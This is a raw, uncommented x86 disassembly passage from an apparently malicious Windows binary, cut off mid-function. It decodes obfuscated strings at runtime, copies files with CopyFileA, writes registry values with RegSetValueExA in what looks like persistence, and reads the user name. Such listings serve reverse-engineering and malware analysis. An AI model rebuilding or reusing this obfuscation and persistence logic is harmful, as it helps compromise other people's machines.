jne 0x44797f
lea ecx, [ebp + 0x70]
call fcn.00467fe0
test eax, eax
je 0x44797f
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 4], 0x30
call fcn.00471b30
or esi, 0x100000
lea edx, [ebp - 0x3c8]
lea ecx, [ebp + 0x70]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
call fcn.0047e5c0
mov eax, dword [ebp - 0x3c8]
lea ecx, [ebp - 0x2c8]
push 0
push dword [eax]
call fcn.0046bb40
mov eax, dword [ebp - 0x2c8]
cmp byte [eax + 0xd], bl
jne 0x447964
lea ecx, [ecx]
test bl, bl
jne 0x447961
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x447946
mov ecx, esi
call fcn.00467fe0
test eax, eax
je 0x447946
push esi
lea ecx, [ebp - 0x480]
call fcn.0046bc80
lea ecx, [ebp - 0x480]
call fcn.0046bc40
push esi
lea ecx, [ebp - 0x5fc]
call fcn.0046bc80
lea ecx, [ebp - 0x5fc]
call fcn.0046bc10
lea eax, [ebp - 0x5fc]
push eax
lea ecx, [ebp - 0x480]
call fcn.0046bb50
test al, al
jne 0x447946
jmp 0x447710
lea ecx, [ebp - 0x480]
call fcn.004675f0
mov esi, eax
test bl, bl
jne 0x447946
lea ecx, [ebp - 0x378]
mov byte [ebp - 4], 0x31
call fcn.00471b30
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x378]
or eax, 0x20000
mov ecx, esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
call fcn.0047e5c0
mov eax, dword [ebp - 0x378]
lea ecx, [ebp - 0x2c4]
push 0
push dword [eax]
call fcn.0046bb40
mov eax, dword [ebp - 0x2c4]
cmp byte [eax + 0xd], bl
jne 0x447904
test bl, bl
jne 0x447904
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00467fe0
test eax, eax
je 0x4478e9
push esi
lea ecx, [ebp - 0x470]
call fcn.0046bc80
lea ecx, [ebp - 0x470]
call fcn.0046bc40
push esi
lea ecx, [ebp - 0x5ec]
call fcn.0046bc80
lea ecx, [ebp - 0x5ec]
call fcn.0046bc10
lea eax, [ebp - 0x5ec]
push eax
lea ecx, [ebp - 0x470]
call fcn.0046bb50
test al, al
jne 0x4478e9
lea ecx, [ebp - 0x470]
call fcn.004675f0
mov esi, eax
test bl, bl
jne 0x4478e9
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd8]
call fcn.00402ac0
push 0
push 0x5222e8
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x32
call fcn.00402ae0
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0xb9]
mov dword [ebp - 0xb9], 0x9a8781
mov byte [ebp - 0xb5], 1
call fcn.00467dd0
lea eax, [ebp - 0xb9]
mov ecx, esi
push eax
call fcn.0046e710
cmp byte [eax], bl
je 0x447876
lea ecx, [ebp - 0xbe]
mov dword [ebp - 0xbe], 0x9a8781
mov byte [ebp - 0xba], 1
call fcn.00467dd0
lea eax, [ebp - 0xbe]
mov ecx, esi
push eax
call fcn.0046e710
push eax
lea ecx, [ebp - 0xd8]
call fcn.00475660
sub esp, 0x18
lea eax, [ebp - 0xd8]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0046a770
sub esp, 0xc
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x338]
mov ecx, esp
mov bh, 1
push eax
call fcn.004696e0
mov cl, bh
mov byte [ebp - 4], 0x33
call fcn.004136d0
add esp, 0x24
test al, al
je 0x4478b5
mov bl, bh
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x31
call fcn.004028d0
lea ecx, [ebp - 0x470]
call fcn.004675a0
lea eax, [ebp - 0x5ec]
push eax
lea ecx, [ebp - 0x470]
call fcn.0046bb50
test al, al
je 0x4477d5
lea ecx, [ebp - 0x2c4]
call fcn.0046bae0
mov eax, dword [ebp - 0x2c4]
cmp byte [eax + 0xd], 0
je 0x447773
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x378]
and eax, 0xfffdffff
mov byte [ebp - 4], 0x30
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
call fcn.0041c080
lea ecx, [ebp - 0x480]
call fcn.004675a0
lea eax, [ebp - 0x5fc]
push eax
lea ecx, [ebp - 0x480]
call fcn.0046bb50
test al, al
je 0x447710
lea ecx, [ebp - 0x2c8]
call fcn.0046bae0
mov eax, dword [ebp - 0x2c8]
cmp byte [eax + 0xd], 0
je 0x4476a0
mov esi, dword [ebp - 0x34]
and esi, 0xffefffff
lea ecx, [ebp - 0x3c8]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
call fcn.0041c080
jmp 0x44797f
mov bl, 1
lea ecx, [ebp - 0x32c]
call fcn.004028d0
lea ecx, [ebp - 0x338]
call fcn.0046c860
lea ecx, [ebp - 0x2e8]
call fcn.004028d0
mov edi, dword [ebp - 0x40]
lea ecx, [ebp - 0x3c0]
mov byte [ebp - 4], 0x15
call fcn.00468450
mov esi, dword [ebp - 0x39c]
inc edi
mov dword [ebp - 0x40], edi
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x398]
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x40], eax
jb 0x446890
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4479fd
test bl, bl
je 0x449230
lea ecx, [ebp - 0x9a]
mov dword [ebp - 0x9a], 0x928e90da
mov word [ebp - 0x96], 0x100
call fcn.00467bc0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x30c]
call fcn.00402ac0
lea ecx, [ebp - 0x9a]
mov byte [ebp - 4], 0x35
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447a36
sub ecx, edx
lea eax, [ebp - 0x9a]
push ecx
push eax
lea ecx, [ebp - 0x30c]
call fcn.00402ae0
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x55]
mov word [ebp - 0x55], 0xda
mov byte [ebp - 0x53], 1
call fcn.00467b50
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x2f4], esi
mov ecx, esi
push dword [ebp - 0x2f4]
call fcn.00402ac0
lea ecx, [ebp - 0x55]
mov byte [ebp - 4], 0x37
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447a90
sub ecx, edx
lea eax, [ebp - 0x55]
push ecx
push eax
mov ecx, esi
call fcn.00402ae0
sub esp, 0x18
mov byte [ebp - 4], 0x38
lea eax, [ebp - 0x574]
mov ecx, esp
push eax
call fcn.0046a770
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0x36
call fcn.0040ab40
add esp, 0x30
mov byte [ebp - 4], 0x39
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x38c]
sub ecx, dword [ebp - 0x390]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x447fc7
lea ecx, [ebp - 0x390]
call fcn.004695d0
dec eax
lea ecx, [ebp - 0x390]
push eax
call fcn.004695b0
push eax
lea ecx, [ebp - 0x30c]
call fcn.0046a5c0
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x150], 0x938d91
mov byte [ebp - 0x14c], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x368]
call fcn.00402980
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x30c]
mov ebx, dword [ebp - 0x34]
mov edx, eax
or ebx, 1
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x155]
mov dword [ebp - 0x155], 0x9f8699
mov byte [ebp - 0x151], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x350]
call fcn.00402980
mov dword [ebp - 4], 0x3b
lea ecx, [ebp - 0x30c]
or ebx, 2
mov edx, eax
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x15a]
mov dword [ebp - 0x15a], 0x849687
mov byte [ebp - 0x156], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x5cc]
call fcn.00402980
mov dword [ebp - 4], 0x3c
lea ecx, [ebp - 0x30c]
or ebx, 4
mov edx, eax
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x15f]
mov dword [ebp - 0x15f], 0x828d80
mov byte [ebp - 0x15b], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x5b4]
call fcn.00402980
mov dword [ebp - 4], 0x3d
lea ecx, [ebp - 0x30c]
or ebx, 8
mov edx, eax
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x164], 0x959a90
mov byte [ebp - 0x160], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x66c]
call fcn.00402980
mov dword [ebp - 4], 0x3e
lea ecx, [ebp - 0x30c]
or ebx, 0x10
mov edx, eax
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x17c], 0x8f959a90
mov word [ebp - 0x178], 0x100
call fcn.00409eb0
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402980
mov dword [ebp - 4], 0x3f
lea ecx, [ebp - 0x30c]
or ebx, 0x20
mov edx, eax
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x128], 0x919b84
mov byte [ebp - 0x124], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x25c]
call fcn.00402980
mov dword [ebp - 4], 0x40
lea ecx, [ebp - 0x30c]
or ebx, 0x40
mov edx, eax
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x12d]
mov dword [ebp - 0x12d], 0x91859e
mov byte [ebp - 0x129], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x4b8]
call fcn.00402980
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0x30c]
or ebx, 0x80
mov edx, eax
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x182]
mov dword [ebp - 0x182], 0x9093859e
mov word [ebp - 0x17e], 0x100
call fcn.00409eb0
push eax
lea ecx, [ebp - 0xd8]
call fcn.00402980
mov dword [ebp - 4], 0x42
lea ecx, [ebp - 0x30c]
or ebx, 0x100
mov edx, eax
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x132]
mov dword [ebp - 0x132], 0x869896
mov byte [ebp - 0x12e], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x2e8]
call fcn.00402980
mov dword [ebp - 4], 0x43
lea ecx, [ebp - 0x30c]
or ebx, 0x200
mov edx, eax
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x137]
mov dword [ebp - 0x137], 0x829496
mov byte [ebp - 0x133], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x32c]
call fcn.00402980
mov dword [ebp - 4], 0x44
lea ecx, [ebp - 0x30c]
or ebx, 0x400
mov edx, eax
mov dword [ebp - 0x30], ebx
call fcn.0046eec0
test al, al
je 0x447e91
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0x859782
mov byte [ebp - 0x138], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x450]
call fcn.00402980
mov edx, eax
lea ecx, [ebp - 0x30c]
or ebx, 0x800
call fcn.0046eec0
mov byte [ebp - 0xd], 1
test al, al
jne 0x447e95
mov byte [ebp - 0xd], 0
test ebx, 0x800
je 0x447eae
lea ecx, [ebp - 0x450]
and ebx, 0xfffff7ff
call fcn.004028d0
test ebx, 0x400
je 0x447ec7
lea ecx, [ebp - 0x32c]
and ebx, 0xfffffbff
call fcn.004028d0
test ebx, 0x200
je 0x447ee0
lea ecx, [ebp - 0x2e8]
and ebx, 0xfffffdff
call fcn.004028d0
test ebx, 0x100
je 0x447ef9
lea ecx, [ebp - 0xd8]
and ebx, 0xfffffeff
call fcn.004028d0
test bl, bl
jns 0x447f0e
lea ecx, [ebp - 0x4b8]
and ebx, 0xffffff7f
call fcn.004028d0
test bl, 0x40
je 0x447f21
lea ecx, [ebp - 0x25c]
and ebx, 0xffffffbf
call fcn.004028d0
test bl, 0x20
je 0x447f31
lea ecx, [ebp - 0x2c]
and ebx, 0xffffffdf
call fcn.004028d0
test bl, 0x10
je 0x447f44
lea ecx, [ebp - 0x66c]
and ebx, 0xffffffef
call fcn.004028d0
test bl, 8
je 0x447f57
lea ecx, [ebp - 0x5b4]
and ebx, 0xfffffff7
call fcn.004028d0
test bl, 4
je 0x447f6a
lea ecx, [ebp - 0x5cc]
and ebx, 0xfffffffb
call fcn.004028d0
test bl, 2
je 0x447f7d
lea ecx, [ebp - 0x350]
and ebx, 0xfffffffd
call fcn.004028d0
mov dword [ebp - 4], 0x39
test bl, 1
je 0x447f97
lea ecx, [ebp - 0x368]
and ebx, 0xfffffffe
call fcn.004028d0
cmp byte [ebp - 0xd], 0
je 0x447fca
lea ecx, [ebp - 0x141]
mov dword [ebp - 0x141], 0x938d91
mov byte [ebp - 0x13d], 1
call fcn.004083a0
push eax
lea ecx, [ebp - 0x30c]
call fcn.0046a590
jmp 0x447fca
mov ebx, dword [ebp - 0x34]
lea ecx, [ebp - 0x58]
mov word [ebp - 0x58], 0xda
mov byte [ebp - 0x56], 1
call fcn.00467b50
mov edx, 0x14
lea ecx, [ebp - 0x350]
call fcn.0040aeb0
mov esi, eax
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x94]
mov word [ebp - 0x94], 0xa8
mov byte [ebp - 0x92], 1
call fcn.00467b50
lea eax, [ebp - 0x94]
push eax
lea edx, [ebp + 0x80]
lea ecx, [ebp - 0x368]
call fcn.0046e400
add esp, 4
push esi
push eax
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x25c]
push dword [ebp - 0x2f4]
call fcn.00471ed0
or dword [ebp - 0xa0], 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x47
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448050
sub ecx, edx
lea eax, [ebp - 0x58]
push ecx
push eax
lea ecx, [ebp - 0x25c]
call fcn.0046cfc0
push eax
lea ecx, [ebp - 0x2e8]
call fcn.00402920
or ebx, 0x80000000
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x30c]
mov byte [ebp - 4], 0x48
push eax
lea edx, [ebp - 0x2e8]
lea ecx, [ebp - 0x540]
call fcn.0046e650
add esp, 4
lea ecx, [ebp - 0x2e8]
call fcn.004028d0
lea ecx, [ebp - 0x25c]
call fcn.004028d0
lea ecx, [ebp - 0x368]
call fcn.004028d0
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0x4d
call fcn.004028d0
lea ecx, [ebp - 0x14b]
mov dword [ebp - 0x14b], 0x8782819c
mov dword [ebp - 0x147], 0xd4d5c38b
mov word [ebp - 0x143], 0x100
call fcn.00467a30
lea ecx, [ebp - 0x574]
call fcn.00402a20
lea ecx, [ebp - 0x14b]
push ecx
push eax
call fcn.004e0b60
add esp, 8
lea ecx, [ebp - 0x540]
test eax, eax
setne byte [ebp - 0x3b0]
call fcn.00402a20
lea ecx, [ebp - 0x574]
mov esi, eax
call fcn.00402a20
push 0x7530
push 0
push dword [ebp - 0x3b0]
mov edx, esi
mov ecx, eax
call fcn.00485450
add esp, 0xc
test al, al
je 0x44920f
xor eax, eax
lea ecx, [ebp - 0x938]
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], eax
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], eax
mov dword [ebp - 0x3f8], eax
mov byte [ebp - 0x3f4], al
call fcn.00485870
lea ecx, [ebp - 0x58c]
call fcn.004028c0
lea ecx, [ebp - 0x58c]
mov esi, eax
call fcn.00402a20
push esi
push eax
lea ecx, [ebp - 0x938]
call fcn.004858b0
push 0
lea ecx, [ebp - 0x938]
call fcn.00485980
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x938]
call fcn.00485ab0
push 0x534d5c
lea ecx, [ebp - 0x241]
mov dword [ebp - 0x241], 0x959991b5
mov dword [ebp - 0x23d], 0x9f8aac9d
mov dword [ebp - 0x239], 0x8d9b899d
mov word [ebp - 0x235], 0x56
mov byte [ebp - 0x233], 1
call fcn.00408d10
mov edx, eax
lea ecx, [ebp - 0x32c]
call fcn.0046e4d0
add esp, 4
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x1ba]
push 0x534d5c
mov dword [ebp - 0x1ba], 0x929191b1
mov dword [ebp - 0x1b6], 0x100aab5
call fcn.0040c400
mov edx, eax
lea ecx, [ebp - 0xd8]
call fcn.0046e4d0
add esp, 4
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x216]
push 0x534d5c
mov dword [ebp - 0x216], 0xa2bfa6b9
mov dword [ebp - 0x212], 0x8f9b9d88
mov dword [ebp - 0x20e], 0xa88f99
mov byte [ebp - 0x20a], 1
call fcn.0040c160
mov edx, eax
lea ecx, [ebp - 0x4b8]
call fcn.0046e4d0
add esp, 4
cmp byte [ebp - 0x44], 0
mov byte [ebp - 4], 0x50
je 0x4485e9
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x224], 0xb6b5bab8
mov dword [ebp - 0x220], 0xabaab8b4
mov dword [ebp - 0x21c], 0xbeaabcb8
mov word [ebp - 0x218], 0x100
call fcn.0040dfb0
push eax
call fcn.004edf21
add esp, 4
test eax, eax
je 0x4485e9
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402980
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xed]
mov word [ebp - 0xed], 0xa8
mov byte [ebp - 0xeb], 1
call fcn.00409f40
push eax
lea ecx, [ebp - 0x2c]
call fcn.0046a570
lea ecx, [ebp - 0xea]
mov word [ebp - 0xea], 0xab
mov byte [ebp - 0xe8], 1
call fcn.00409f40
push eax
lea edx, [ebp - 0x32c]
lea ecx, [ebp - 0x350]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x414]
mov byte [ebp - 4], 0x52
push ecx
mov edx, eax
lea ecx, [ebp - 0x368]
call fcn.0046e460
add esp, 4
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x53
call fcn.0046a580
lea ecx, [ebp - 0x368]
call fcn.004028d0
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0x51
call fcn.004028d0
lea ecx, [ebp - 0x2c]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x4483c2
lea ecx, [ebp - 0x2c]
call fcn.00415a10
test al, al
je 0x4485dd
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x188], 0x928e90da
mov word [ebp - 0x184], 0x100
call fcn.00409eb0
lea ecx, [ebp - 0xe7]
mov word [ebp - 0xe7], 0xa8
mov esi, eax
mov byte [ebp - 0xe5], 1
call fcn.00409f40
push eax
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x350]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x32c]
mov byte [ebp - 4], 0x54
push ecx
mov edx, eax
lea ecx, [ebp - 0x368]
call fcn.0046e650
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x25c]
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x368]
call fcn.004028d0
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0x58
call fcn.004028d0
sub esp, 0x18
lea eax, [ebp - 0x25c]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
jne 0x4485d2
lea ecx, [ebp - 0x25c]
call fcn.00402a20
lea ecx, [ebp - 0x540]
mov esi, eax
call fcn.00402a20
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4485d2
lea eax, [ebp - 0x314]
mov dword [ebp - 0x8b], 0x83909aa7
push eax
push 0x20006
push 0
lea ecx, [ebp - 0x8b]
mov dword [ebp - 0x87], 0x9e88988f
mov dword [ebp - 0x83], 0x9c97b0a0
mov dword [ebp - 0x7f], 0x6c716e72
mov dword [ebp - 0x7b], 0x505a7162
mov dword [ebp - 0x77], 0x646e6761
mov dword [ebp - 0x73], 0x4c527e7b
mov dword [ebp - 0x6f], 0x76606365
mov dword [ebp - 0x6b], 0x7240617a
mov dword [ebp - 0x67], 0x74736a6a
mov dword [ebp - 0x63], 0x6a4c4172
mov word [ebp - 0x5f], 0x4e
mov byte [ebp - 0x5d], 1
call fcn.00417d90
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4485d2
lea ecx, [ebp - 0x25c]
call fcn.004028c0
lea ecx, [ebp - 0x25c]
mov edi, eax
call fcn.00402a20
lea ecx, [ebp - 0xff]
mov word [ebp - 0xff], 0xab
mov esi, eax
mov byte [ebp - 0xfd], 1
call fcn.00409f40
push eax
lea edx, [ebp - 0x32c]
lea ecx, [ebp - 0x5b4]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x414]
mov byte [ebp - 4], 0x59
push ecx
mov edx, eax
lea ecx, [ebp - 0x5cc]
call fcn.0046e460
add esp, 4
mov ecx, eax
call fcn.00402a20
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x314]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 0x5cc]
call fcn.004028d0
lea ecx, [ebp - 0x5b4]
call fcn.004028d0
push dword [ebp - 0x314]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x25c]
call fcn.004028d0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x50
call fcn.004028d0
cmp byte [ebp - 0x45], 0
je 0x448d57
lea ecx, [ebp - 0x25]
mov dword [ebp - 0x25], 0xa2bab9b5
mov dword [ebp - 0x21], 0xa8a8bcab
mov dword [ebp - 0x1d], 0xb9b1afac
mov dword [ebp - 0x19], 0x474d49
mov byte [ebp - 0x15], 1
call fcn.0040df20
push eax
call fcn.004edf21
add esp, 4
test eax, eax
je 0x448d57
push eax
lea ecx, [ebp - 0x25c]
call fcn.00402980
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0xfc]
mov word [ebp - 0xfc], 0xa8
mov byte [ebp - 0xfa], 1
call fcn.00409f40
push eax
lea ecx, [ebp - 0x25c]
call fcn.0046a570
lea ecx, [ebp - 0x102]
mov word [ebp - 0x102], 0xab
mov byte [ebp - 0x100], 1
call fcn.00409f40
push eax
lea edx, [ebp - 0x4b8]
lea ecx, [ebp - 0x350]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x414]
mov byte [ebp - 4], 0x5b
push ecx
mov edx, eax
lea ecx, [ebp - 0x368]
call fcn.0046e460
add esp, 4
push eax
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0x5c
call fcn.0046a580
lea ecx, [ebp - 0x368]
call fcn.004028d0
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0x5a
call fcn.004028d0
lea ecx, [ebp - 0x25c]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x448728
lea ecx, [ebp - 0x25c]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x2e8]
call fcn.00402980
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x2e8]
or ebx, 0x1000
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call fcn.00415a10
mov byte [ebp - 0xd], 0
test al, al
je 0x44872c
mov byte [ebp - 0xd], 1
mov dword [ebp - 4], 0x5a
test ebx, 0x1000
je 0x448752
and ebx, 0xffffefff
lea ecx, [ebp - 0x2e8]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call fcn.004028d0
cmp byte [ebp - 0xd], 0
je 0x448d48
lea ecx, [ebp - 0x16a]
mov dword [ebp - 0x16a], 0x928e90da
mov word [ebp - 0x166], 0x100
call fcn.00409eb0
lea ecx, [ebp - 0x105]
mov word [ebp - 0x105], 0xa8
mov esi, eax
mov byte [ebp - 0x103], 1
call fcn.00409f40
push eax
lea edx, [ebp - 0x25c]
lea ecx, [ebp - 0x350]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0x5e
push ecx
mov edx, eax
lea ecx, [ebp - 0x368]
call fcn.0046e650
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x2c]
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x368]
call fcn.004028d0
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0x62
call fcn.004028d0
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
jne 0x448d40
lea ecx, [ebp - 0x2c]
call fcn.00402a20
lea ecx, [ebp - 0x540]
mov esi, eax
call fcn.00402a20
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x448d40
push 0x104
lea eax, [ebp - 0x868]
mov dword [ebp - 0x38], 0x104
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x868]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x2af]
mov dword [ebp - 0x2af], 0xd5a4bdd4
mov dword [ebp - 0x2ab], 0x9889d6d8
mov dword [ebp - 0x2a7], 0xaab1b5dc
mov dword [ebp - 0x2a3], 0x235b4d52
mov dword [ebp - 0x29f], 0x276a772b
mov dword [ebp - 0x29b], 0x434d4040
mov dword [ebp - 0x297], 0x5a5e49
mov byte [ebp - 0x293], 1
call fcn.0040e010
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x14], eax
mov word [ebp - 0x108], 0xab
mov byte [ebp - 0x106], 1
call fcn.00409f40
lea ecx, [ebp - 0x1f6]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1f6], 0x83d9d5d6
mov dword [ebp - 0x1f2], 0xd8d996
mov byte [ebp - 0x1ee], 1
call fcn.00409ee0
lea ecx, [ebp - 0x1ed]
mov dword [ebp - 0x1ed], 0x83d9d5d6
mov ebx, eax
mov dword [ebp - 0x1e9], 0xd8d98a
mov byte [ebp - 0x1e5], 1
call fcn.00409ee0
mov edi, eax
lea ecx, [ebp - 0x75c]
lea eax, [ebp - 0x868]
push eax
call fcn.00402980
mov esi, eax
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x277]
mov dword [ebp - 0x277], 0x839e9687
mov dword [ebp - 0x273], 0x88918a99
mov dword [ebp - 0x26f], 0x8d9dd2dc
mov dword [ebp - 0x26b], 0x66766065
mov dword [ebp - 0x267], 0x27602a24
mov dword [ebp - 0x263], 0x2b5f5b27
mov word [ebp - 0x25f], 0x2e
mov byte [ebp - 0x25d], 1
call fcn.004159a0
push esi
mov edx, eax
lea ecx, [ebp - 0x744]
call fcn.0046e530
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x72c]
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x65
push ecx
mov edx, eax
lea ecx, [ebp - 0x714]
call fcn.0046e650
add esp, 4
mov byte [ebp - 4], 0x66
mov edx, eax
push ebx
lea ecx, [ebp - 0x6fc]
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0x67
push ecx
mov edx, eax
lea ecx, [ebp - 0x66c]
call fcn.0046e650
add esp, 4
push dword [ebp - 0x40]
mov edx, eax
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x5b4]
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x414]
mov byte [ebp - 4], 0x69
push ecx
mov edx, eax
lea ecx, [ebp - 0x5cc]
call fcn.0046e460
add esp, 4
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x450]
push dword [ebp - 0x14]
mov edx, eax
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x5cc]
call fcn.004028d0
lea ecx, [ebp - 0x5b4]
call fcn.004028d0
lea ecx, [ebp - 0x66c]
call fcn.004028d0
lea ecx, [ebp - 0x6fc]
call fcn.004028d0
lea ecx, [ebp - 0x714]
call fcn.004028d0
lea ecx, [ebp - 0x72c]
call fcn.004028d0
lea ecx, [ebp - 0x744]
call fcn.004028d0
lea ecx, [ebp - 0x75c]
mov byte [ebp - 4], 0x73
call fcn.004028d0
sub esp, 0x18
lea ecx, [ebp - 0x450]
mov esi, esp
call fcn.00402a20
push eax
mov ecx, esi
call fcn.00402980
xor cl, cl
call fcn.00415b90
add esp, 0x18
mov dword [ebp - 0x7a], 0xd5b1b9d4
lea ecx, [ebp - 0x7a]
mov dword [ebp - 0x76], 0x9889d6d8
mov dword [ebp - 0x72], 0xb3b0b2dc
mov dword [ebp - 0x6e], 0x4d4d464f
mov dword [ebp - 0x6a], 0x6b742a24
mov dword [ebp - 0x66], 0x4c434128
mov dword [ebp - 0x62], 0x5b5d4844
